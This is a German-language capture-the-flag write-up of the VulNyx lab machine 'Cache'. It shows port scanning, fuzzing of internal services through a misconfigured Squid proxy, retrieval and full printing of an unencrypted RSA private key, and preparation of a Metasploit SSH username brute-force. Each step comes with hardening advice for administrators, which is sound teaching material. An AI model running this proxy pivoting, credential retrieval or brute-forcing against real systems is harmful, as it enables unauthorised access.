Cache - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

ARP-Scan
vi
nikto
nmap
ip
grep
awk
sort
ping6
gobuster
curl
ffuf
telnet
searchsploit
chmod
ssh2john
Metasploit (ssh_login_pubkey)
ssh
sudo
find
ss
cat
ls
hydra
nano
su

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Bericht beginnt mit den Ergebnissen eines ARP-Scans und der Konfiguration der lokalen `/etc/hosts`-Datei. Der ARP-Scan identifiziert die IP-Adresse `192.168.2.128` mit der MAC-Adresse `08:00:27:1f:ed:08`, die auf eine VirtualBox-Umgebung hinweist (`PCS Systemtechnik GmbH`). In der `/etc/hosts`-Datei wird der Hostname `cache.nyx` dieser IP-Adresse zugeordnet.

Bewertung: Standardmäßige erste Schritte zur Identifizierung des Ziels im lokalen Netzwerk und zur Ermöglichung der Namensauflösung für spätere Scans und Zugriffe.

Empfehlung (Pentester): Immer ARP-Scan im LAN durchführen. Die `/etc/hosts`-Datei aktuell halten, wenn neue Hostnamen entdeckt werden.
Empfehlung (Admin): Netzwerküberwachung implementieren. Sicherstellen, dass die DNS-Infrastruktur korrekt funktioniert.

 ARP-Scan
192.168.2.128	08:00:27:1f:ed:08	PCS Systemtechnik GmbH
┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost

                192.168.2.128   cache.nyx

Analyse: Nikto, ein Webserver-Scanner, wird gegen Port 80 des Ziels ausgeführt. Er identifiziert einen Apache/2.4.57 (Debian) Webserver. Nikto meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein mögliches Inode-Leak über ETags und listet die erlaubten HTTP-Methoden (`GET`, `POST`, `OPTIONS`, `HEAD`).

Bewertung: Die Apache-Version 2.4.57 ist relativ aktuell, was die Wahrscheinlichkeit bekannter, leicht ausnutzbarer Schwachstellen verringert. Die fehlenden Header sind geringfügige Sicherheitsschwächen. Das ETag-Leak ist meist von geringem Risiko. Keine kritischen Funde durch Nikto.

Empfehlung (Pentester): Notieren Sie die Apache-Version. Konzentrieren Sie sich auf die Verzeichnis-Enumeration und die Analyse der Webanwendung selbst.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Konfigurieren Sie ETags sicher.

-
 Nikto Scan :
-
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.128
+ Target Hostname:    192.168.2.128
+ Target Port:        80
+ Start Time:         2024-09-06 14:36:44 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 60ebbafb5fa29, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-06 14:37:28 (GMT2) (44 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Es werden Nmap-Scans durchgeführt, um offene Ports auf IPv6 und IPv4 zu identifizieren. Zuerst wird versucht, die IPv6-Link-Local-Adresse des Ziels mit `ip neigh`, `grep`, `awk` und `sort` zu finden. Danach wird `ping6` verwendet, um aktive IPv6-Hosts im lokalen Netzwerk zu finden. Schließlich führt Nmap einen Scan gegen die gefundene IPv6-Adresse (`fe80::a00:27ff:fe1f:ed08`) durch.

Bewertung: Die IPv6-Enumeration ist erfolgreich und identifiziert die Link-Local-Adresse. Der Nmap-Scan gegen diese Adresse findet die offenen TCP-Ports 22 (SSH), 80 (HTTP) und 3128 (Squid HTTP Proxy). Dies ist ein wichtiger Fund, da Port 3128 im späteren IPv4-Scan ebenfalls auftaucht.

Empfehlung (Pentester): Führen Sie immer auch IPv6-Scans durch. Der offene Squid-Proxy-Port 3128 ist ein primäres Ziel für weitere Untersuchungen.
Empfehlung (Admin): Sichern Sie alle Dienste auf allen aktiven Protokollen (IPv4/IPv6). Wenn IPv6 nicht benötigt wird, deaktivieren Sie es. Konfigurieren Sie den Squid-Proxy sicher und beschränken Sie den Zugriff.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441"); cmd2=$(echo $cmd | awk '{print $1}' | sort -u); nmap $cmd2 -6;
: Nmap Portscans :

                             Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128

 IPv6 Scan
┌──(root㉿CCat)-[~] └─# ping6 -c 3 -I eth0 ff02::1 | grep -ve "fe80::1%eth0:\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a%eth0\|fe80::50f1:22ff:fec4:ad12%eth0"
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%
ping6: Warning: source address might be selected on device other than: eth0
PING ff02::1(ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe1f:ed08%eth0: icmp_seq=1 ttl=255 time=0.294 ms
64 bytes from fe80::a00:27ff:fe1f:ed08%eth0: icmp_seq=2 ttl=255 time=0.146 ms

--- ff02::1 ping statistics ---
-
  Nmap IPv6 Scan
-



 - IPv6 Adresse: fe80::a00:27ff:fe1f:ed08%eth0: -

 -
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 22:35 CEST
Nmap scan report for cache (fe80::a00:27ff:fe1f:ed08)
Host is up (0.00013s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3128/tcp open  squid-http
MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
 UDP Scan

-
  Nmap UDP Scan :
-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:35 CEST
Nmap scan report for 192.168.2.128
Host is up (0.00025s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
8010/udp  closed unknown
19722/udp closed unknown
40019/udp closed unknown
53838/udp closed unknown
58640/udp closed unknown
61550/udp closed unknown
MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

Analyse: Der UDP-Scan gegen die IPv4-Adresse (`$IP`) findet keine offenen Ports unter den Top 1000.

Bewertung: Bestätigt das Fehlen offener Standard-UDP-Dienste.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
 pen mit grep Scan :

-
 Nmap nur offene Ports Ausgabe
-
22/tcp   open  ssh        OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.57 ((Debian))
3128/tcp open  http-proxy Squid http proxy 5.7
|_http-open-proxy: Proxy might be redirecting requests

Analyse: Der TCP-Scan (`-sS -sC -sV -A -p-`) gegen die IPv4-Adresse, gefiltert mit `grep open`, bestätigt die offenen Ports 22 (SSH, OpenSSH 9.2p1), 80 (HTTP, Apache 2.4.57) und 3128 (HTTP-Proxy, Squid 5.7). Nmap's Skriptscan vermutet, dass der Proxy Anfragen umleiten könnte.

Bewertung: Identifiziert die Hauptangriffsvektoren: SSH, HTTP und der Squid-Proxy. Die SSH-Version ist sehr aktuell, was Exploits unwahrscheinlich macht. Apache ist aktuell. Der Squid-Proxy ist der interessanteste Dienst.

Empfehlung (Pentester): Führen Sie den vollständigen Nmap-Scan aus. Untersuchen Sie den Webserver auf Port 80 und insbesondere den Squid-Proxy auf Port 3128. Testen Sie, ob der Proxy als offener Proxy missbraucht werden kann oder ob er Zugriff auf interne Ressourcen ermöglicht.
Empfehlung (Admin): Stellen Sie sicher, dass der Squid-Proxy sicher konfiguriert ist und nur autorisierte Zugriffe erlaubt. Aktualisieren Sie alle Dienste regelmäßig.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
 Port Scan

-
: Nmap volle Ausgabe
-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:36 CEST
Nmap scan report for cache.nyx (192.168.2.128)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http       Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
3128/tcp open  http-proxy Squid http proxy 5.7
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/5.7
MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms cache.nyx (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.11 seconds

Analyse: Die vollständige Nmap-Ausgabe liefert mehr Details. SSH (Port 22) verwendet ECDSA und ED25519 Schlüssel. HTTP (Port 80) zeigt die Standard-Apache-Seite für Debian. Der Squid-Proxy (Port 3128) Version 5.7 liefert eine Fehlerseite bei direktem Zugriff und bestätigt den Server-Header `squid/5.7`. Die OS-Erkennung deutet auf Linux Kernel 4.x/5.x.

Bewertung: Bestätigt die Dienstversionen und liefert zusätzliche Details wie Host-Keys und den Titel der Standardseiten. Der Squid-Proxy bleibt der interessanteste Angriffspunkt.

Empfehlung (Pentester): Versuchen Sie, Anfragen über den Squid-Proxy zu senden, um zu sehen, ob er interne Systeme oder spezielle Webseiten preisgibt. Suchen Sie nach bekannten Schwachstellen für Squid 5.7.
Empfehlung (Admin): Härten Sie die Squid-Konfiguration. Aktualisieren Sie alle Dienste. Überwachen Sie Proxy-Logs.

┌──(root㉿CCat)-[~] └─# nmap -sY -n -p- $IP -Pn --min-rate 5000
 Host Scan :

-
 Nmap Hostscan Ausgabe
-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 14:36 CEST
Nmap scan report for 192.168.2.128
Host is up (0.00013s latency).
All 65535 scanned ports on 192.168.2.128 are in ignored states.
Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:1F:ED:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds

Analyse: Ein Nmap SCTP INIT Scan (`-sY`) wird gegen alle Ports (`-p-`) durchgeführt. SCTP (Stream Control Transmission Protocol) ist ein alternatives Transportprotokoll zu TCP und UDP.

Bewertung: Der Scan findet keine offenen SCTP-Ports. Alle Ports sind entweder gefiltert (keine Antwort) oder geschlossen (proto-unreach).

Empfehlung (Pentester): SCTP ist selten anzutreffen, aber es ist gut, danach zu scannen. Da hier nichts gefunden wurde, kann es ignoriert werden.
Empfehlung (Admin): Deaktivieren Sie SCTP auf Systemebene, wenn es nicht benötigt wird.

Web Enumeration

Analyse: Gobuster wird zur Verzeichnis- und Dateisuche auf Port 80 eingesetzt.

Bewertung: Überraschenderweise findet Gobuster nur die Standarddatei `index.html`. Dies deutet darauf hin, dass auf Port 80 keine weiteren interessanten Dateien oder Verzeichnisse über Standard-Bruteforce auffindbar sind.

Empfehlung (Pentester): Da Port 80 uninteressant erscheint, verlagern Sie den Fokus vollständig auf den Squid-Proxy (Port 3128).
Empfehlung (Admin): Entfernen Sie nicht benötigte Dateien aus dem Web-Root.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
--
 Gobuster Scan
--
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405,500
[+] Excluded status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              [...]
[+] Expanded:                true
[+] No TLS validation:       true
[+] Follow Redirect:         false
[+] Timeout:                 10s
===============================================================
2024/09/06 14:37:40 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
===============================================================
2024/09/06 14:45:12 Finished
===============================================================

Proxy Enumeration

Analyse: Der Squid-Proxy auf Port 3128 wird nun untersucht. Zuerst wird `curl` verwendet, um eine Anfrage an die IP-Adresse des Ziels selbst (`http://192.168.2.128`) *durch* den Proxy (`--proxy http://192.168.2.128:3128`) zu senden.

Bewertung: Sehr interessantes Ergebnis! Statt der Standard-Apache-Seite von Port 80 wird eine Seite mit dem Text "Internal Server Welcome Internal Server WARNING: Access to unauthorized personnel is prohibited" angezeigt. Dies bedeutet, dass der Proxy Anfragen an `192.168.2.128` intern anders behandelt oder auf einen internen Dienst weiterleitet, der auf der gleichen IP, aber möglicherweise auf einem anderen Port oder nur über den Proxy erreichbar ist.

Empfehlung (Pentester): Der Proxy ermöglicht den Zugriff auf eine interne Ressource. Fuzzing über den Proxy ist der nächste logische Schritt, um versteckte Pfade oder Dienste zu finden, die nur intern zugänglich sind. Verwenden Sie Tools wie `ffuf` mit der Proxy-Option (`-x`).
Empfehlung (Admin): Untersuchen Sie die Squid-Konfiguration dringend. Warum leitet der Proxy Anfragen an die eigene IP auf einen internen Dienst weiter? Beschränken Sie den Proxy-Zugriff und die erlaubten Ziel-URLs/IPs.

┌──(root㉿CCat)-[~] └─# curl --proxy http://192.168.2.128:3128 http://192.168.2.128
Internal Server
Welcome Internal Server
 WARNING: Access to unauthorized personnel is prohibited

Analyse: `ffuf` wird verwendet, um Verzeichnisse und Dateien auf dem "Internal Server" zu finden, der über den Proxy erreichbar ist. `-w` gibt die Wortliste an, `-u http://127.0.0.1:21500/FUZZ` ist die Ziel-URL (hier wird anscheinend ein lokaler Port 21500 als Basis verwendet, aber die Anfrage geht über den Proxy), `-x http://192.168.2.128:3128` spezifiziert den zu verwendenden Proxy. `--fc 403` filtert "Forbidden"-Antworten heraus.

Bewertung: Der erste `ffuf`-Lauf findet das Verzeichnis `/cloud` (Status 301 - Redirect). Der zweite Lauf innerhalb von `/cloud` (`-u http://127.0.0.1:21500/cloud/FUZZ`) findet die Datei `/cloud/key` (Status 200).

Empfehlung (Pentester): Laden Sie die gefundene Datei `/cloud/key` über den Proxy herunter und analysieren Sie sie. Es handelt sich wahrscheinlich um einen Schlüssel.
Empfehlung (Admin): Sichern Sie den internen Webserver und den Proxy ab. Entfernen Sie sensible Dateien wie Schlüssel aus öffentlich erreichbaren (auch internen) Pfaden.

┌──(root㉿CCat)-[~] └─# ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://127.0.0.1:21500/FUZZ -x http://192.168.2.128:3128 --fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://127.0.0.1:21500/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Proxy URL        : http://192.168.2.128:3128
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

cloud                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 5ms]
:: Progress: [19997/19997] :: Job [1/1] :: 723 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
┌──(root㉿CCat)-[~] └─# ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://127.0.0.1:21500/cloud/FUZZ -x http://192.168.2.128:3128 --fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://127.0.0.1:21500/cloud/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Proxy URL        : http://192.168.2.128:3128
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

key                     [Status: 200, Size: 1675, Words: 7, Lines: 28, Duration: 5ms]
:: Progress: [19997/19997] :: Job [1/1] :: 704 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
┌──(root㉿CCat)-[~] └─# curl http://127.0.0.1:21500/cloud/key --proxy http://192.168.2.128:3128
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAztdB5eKtYEj0T9uEgy0x43HLS/nUhmV3yzwFL37ePznxik
qRUY2JernRYQF0RA0MSu+nu6C4I5CPPTVoIkigYt8mMymVbtdM79va+rxtayi1W
EiZKGz77a5ukikqdauusb3A6KIDd+YJZaeasNTbgwpLR32+V2DfpPmoJa4oK8i1s
UZ3vuWx7+Vws35LgVPWIZL/BeWG6X0uXs9J5XypDMupY2fIDulIRay1sJknQmuw
6KxF4uaJY4ilBgV7snFLUQC3JMghcW54NFC+ezfWtWI7s2fNYpwKzEGMhhUUUvZ
aE0Sm5pp+756Jzm8uX9ilNf89R8yMZujmGLjIQIDAQABAoIBAGTIThIXerf5TdQ
7+5ki4sd5+sLCrNteccM3S8/Hpbly20l8e8sJt/udEGVY32v7/wQis1IGylPMByU
WLIGS+YAw5WGw+6TyQjJfi6wLrAh3R1DohHuuPJQ6byuGxIwRYQ5nLxNW5WS4ZY
iC8BS5n6p01EXSDRmTUBwdzCMHpvyqtc9LeMCKd+dLAMl/5IA9VND1AG+wvapvy
P6UaVgtVssPx/WgYxzF1MwfGLFlTXgD+RFYNWDQslIpZ/v4ntj/XR/bUVAcd1Cu
adfEYXp3tJmc08qVeaiuX2ArZcrytgX6uy0e1IrIPndEtUG1ZMiSVvpZhDA3m
jy95HoECgYEA6zqQZRX6SN+oQ0p7WsSdS8WH2DLTFaWL3ia/2FVJrjWIKqiwwWz+
Ey+pZqExLMNhVasG4svKNvNWAjH86Bz4LPv0S9GcJ16H1xQGBTLlJYJPbt6T/k
fX5pbo33bekB0PmI/ZV7B7HH14LK6Lau/Sb74M/IDujQYooDdeLwSkCgYEA4Rr5
Q+yCqvt4uWY9lpWzGSSrZJatJG2tz/DWRBPsoboVYzII8l03lVa36uJ7FFjk/tEE
mdFd54sf8BwK5MYlXHcqqibqGrQeP/3EgoohV7PjeZSPxIRZFS0X8VwHN9C9dUU
QDoTm433TFe+huM0nA8pJti8AMQynhPJojE+TkCgYBMywzoy31NdUGSjzkD0RN
ZKiIYWbYLRbwKHP9WTHZBS5yxmgUa9CwUKGal8mmlAyk21Q+fWcCjmWEdDFZDKpm
0jXZcfYrb3w07SXX3tmoSEbvog9dUXbzpB0kcoEvRp1KKvqV1IK5q0XRyuXWE64V
Jq70S0KC8hTDoyaaBh9fqQKBgQCjrl9t+n4RIgXomeVSp8uxDq7p135SrMXkG/VR
T0TXaHLnUhQI2QVXRci3kgsxW7NsuKrjke/47P3fgyVyVbFY4lMbDtx62LLmRTY
7uPLx+wyLcpUmSWYVNdLhF8/P0CLTMMK6K/1PkeB5ZtYs9pvB/ZL1fuUotE6oQ
u/6uUQKBgByAFFizSLC0SN/FbvrSf0f6mp9C2z3Q1Q6hoTGn1pMBzcDEdR8r8UHr
V0Dq5hJtET0cVvW4whnLtxhW+ikAQI5Rgc8fB7adGX2b0JiEo1LVhshs50d1of7
2VHdmG7wir+8EyKvGEPZQJaLlNjBbRXi/hTUWJJmybFJjeAiicuH
-----END RSA PRIVATE KEY-----

Analyse: Die Datei `/cloud/key` wird über den Proxy heruntergeladen. Der Inhalt ist ein unverschlüsselter RSA Private Key.

Bewertung: Kritischer Fund! Ein privater Schlüssel, der über einen internen Webserver zugänglich ist, stellt ein hohes Sicherheitsrisiko dar. Dieser Schlüssel kann wahrscheinlich für den SSH-Login verwendet werden.

Empfehlung (Pentester): Speichern Sie den Schlüssel in einer Datei, setzen Sie die korrekten Berechtigungen (chmod 600) und versuchen Sie, sich damit per SSH auf Port 22 anzumelden. Da kein Passwort benötigt wird (`ssh2john` bestätigt dies später), versuchen Sie, Benutzernamen zu bruteforcen, die möglicherweise zu diesem Schlüssel passen (z.B. mit Metasploit `ssh_login_pubkey`).
Empfehlung (Admin): Entfernen Sie diesen Schlüssel sofort vom Server. Implementieren Sie sichere Schlüsselverwaltungspraktiken. Überprüfen Sie, wie dieser Schlüssel dorthin gelangt ist und ob er bereits missbraucht wurde.

Analyse: `ffuf` wird erneut verwendet, diesmal um Ports zu scannen, die über den Proxy erreichbar sind. `-w ports` verwendet eine Wortliste mit Portnummern (wahrscheinlich 1-65535), `-u http://127.0.0.1:FUZZ` versucht, eine Verbindung zu localhost auf dem durch `FUZZ` ersetzten Port herzustellen, alles über den Proxy `-x http://192.168.2.128:3128`.

Bewertung: Dies ist eine Methode, um interne Dienste zu finden, die auf dem Zielsystem laufen, aber nicht direkt von außen erreichbar sind, sondern nur über den Proxy. Der Scan findet die bereits bekannten Ports 80 und den internen Dienst auf 21500. Zusätzlich werden zwei weitere Ports gefunden: 38176 und 60464, die eine Antwort mit Größe 0 liefern.

Empfehlung (Pentester): Untersuchen Sie die neu gefundenen Ports 38176 und 60464 genauer. Versuchen Sie, über den Proxy mit `curl` oder `nc` eine Verbindung herzustellen oder Daten zu senden, um herauszufinden, welcher Dienst dort lauscht.
Empfehlung (Admin): Analysieren Sie die Dienste auf den Ports 21500, 38176 und 60464. Stellen Sie sicher, dass diese Dienste notwendig sind und angemessen gesichert und durch Firewalls geschützt sind, auch wenn sie nur intern erreichbar sind.

┌──(root㉿CCat)-[~] └─# ffuf -c -ic -w ports -u http://127.0.0.1:FUZZ -x http://192.168.2.128:3128 --fc 403
 Fuzzing nach Proxy Ports

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

  Method           : GET
  URL              : http://127.0.0.1:FUZZ
  Wordlist         : FUZZ: /root/ports
  Follow redirects : false
  Calibration      : false
  Proxy            : http://192.168.2.128:3128
  Timeout          : 10
  Threads          : 40
  Matcher          : Response status: 200-299,301,302,307,401,403,405,500
  Filter           : Response status: 403
________________________________________________

80                      [Status: 200, Size: 10701, Words: 3427, Lines: 369, Duration: 10ms]
21500                   [Status: 200, Size: 325, Words: 25, Lines: 23, Duration: 8ms]
38176                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7ms]
60464                   [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 6ms]
 Progress: [65535/65535]  Job [1/1]  21 req/sec  Duration: [0:00:18]  Errors: 0 ::

: Fuzzing Ende :

Analyse: Der direkte Zugriff auf den Proxy (`http://192.168.2.128:3128/`) liefert eine Squid-Fehlerseite ("Invalid URL"). Eine Anfrage an eine interne Ressource des Proxys (`/squid-internal-static/icons/SN.png`) ist jedoch erfolgreich (Status 200).

Bewertung: Bestätigt, dass es sich um einen Squid-Proxy handelt und dass interne Ressourcen des Proxys selbst teilweise zugänglich sind. Dies liefert aber keine direkten neuen Angriffsvektoren.

Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung des gefundenen SSH-Schlüssels.
Empfehlung (Admin): Härten Sie die Squid-Konfiguration, um den Zugriff auf interne Ressourcen und Statusseiten zu beschränken.

ERROR
The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: /

    Invalid URL

Some aspect of the requested URL is incorrect.

Some possible problems are:

    Missing or incorrect access protocol (should be "http://" or similar)
    Missing hostname
    Illegal double-escape in the URL-Path
    Illegal character in hostname; underscores are not allowed.

Your cache administrator is webmaster.

Generated Fri, 06 Sep 2024 20:54:27 GMT by cache (squid/5.7)
HTTP/1.1 200 OK
Date: Fri, 06 Sep 2024 20:55:00 GMT
Server: squid/5.7
Content-Type: image/png
Content-Length: 1023
Last-Modified: Tue, 17 Jan 2023 13:43:08 GMT
Expires: Fri, 06 Sep 2024 20:55:00 GMT
X-Cache: MISS from cache
X-Cache-Lookup: MISS from cache:3128
Via: 1.1 cache (squid/5.7)
Connection: keep-alive

┌──(root㉿CCat)-[~] └─# telnet proxy 192.168.2.128 3128
telnet: too many arguments

Analyse: Ein fehlerhafter Versuch, `telnet` zu verwenden.

Bewertung: Syntaxfehler, irrelevant.

┌──(root㉿CCat)-[~] └─# searchsploit squid
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path             | windows/local/49673.txt
Squito Gallery 1.0 - Cross-Site Scripting                                           | php/webapps/10669.txt
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Analyse: `searchsploit` wird verwendet, um in der lokalen Exploit-DB-Datenbank nach bekannten Exploits für "squid" zu suchen.

Bewertung: Es werden keine relevanten Exploits für Squid 5.7 gefunden.

Empfehlung (Pentester): Verlassen Sie sich nicht nur auf `searchsploit`. Recherchieren Sie auch online nach CVEs und Exploits für Squid 5.7. Da jedoch der SSH-Schlüssel gefunden wurde, ist dies der wahrscheinlichere Weg.
Empfehlung (Admin): Auch wenn keine öffentlichen Exploits bekannt sind, ist das Aktualisieren von Diensten wichtig.

Initial Access

Analyse: Der zuvor über den Proxy heruntergeladene RSA Private Key (`/cloud/key`) wird in eine lokale Datei `idrss` gespeichert. Die Berechtigungen werden auf 600 gesetzt, was für SSH-Schlüssel erforderlich ist.

Bewertung: Korrekte Vorbereitung des Schlüssels für die Verwendung.

┌──(root㉿CCat)-[~] └─# curl http://127.0.0.1:21500/cloud/key --proxy http://192.168.2.128:3128 --output idrss
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1675  100  1675    0     0  1067k      0 --:--:-- --:--:-- --:--:-- 1635k
┌──(root㉿CCat)-[~] └─# chmod 600 idrss
┌──(root㉿CCat)-[~] └─# ssh2john idrss > hash
idrss has no password!

Analyse: `ssh2john` wird verwendet, um zu überprüfen, ob der private Schlüssel `idrss` passwortgeschützt ist. Die Ausgabe "idrss has no password!" bestätigt, dass der Schlüssel unverschlüsselt ist.

Bewertung: Vereinfacht den Angriff, da kein Passwort für den Schlüssel geknackt werden muss.

Empfehlung (Pentester): Verwenden Sie den Schlüssel direkt für SSH-Logins in Kombination mit einer Liste potenzieller Benutzernamen.
Empfehlung (Admin): Private Schlüssel sollten immer mit einer starken Passphrase geschützt werden.

Analyse: Metasploit wird gestartet und das Modul `auxiliary/scanner/ssh/ssh_login_pubkey` verwendet. Dieses Modul versucht, sich per SSH mit einem gegebenen privaten Schlüssel und einer Liste von Benutzernamen anzumelden.

Bewertung: Effizientes Werkzeug, um den passenden Benutzernamen für einen unverschlüsselten privaten Schlüssel zu finden.

Empfehlung (Pentester): Konfigurieren Sie das Modul mit der Ziel-IP (`RHOSTS`), dem Pfad zum privaten Schlüssel (`KEY_PATH`) und einer umfangreichen Benutzerliste (`USER_FILE`).
Empfehlung (Admin): Implementieren Sie Intrusion Detection/Prevention Systeme, die Brute-Force-Angriffe auf SSH erkennen und blockieren (z.B. `fail2ban`). Verwenden Sie Key-basierte Authentifizierung, aber überwachen Sie fehlgeschlagene Logins.

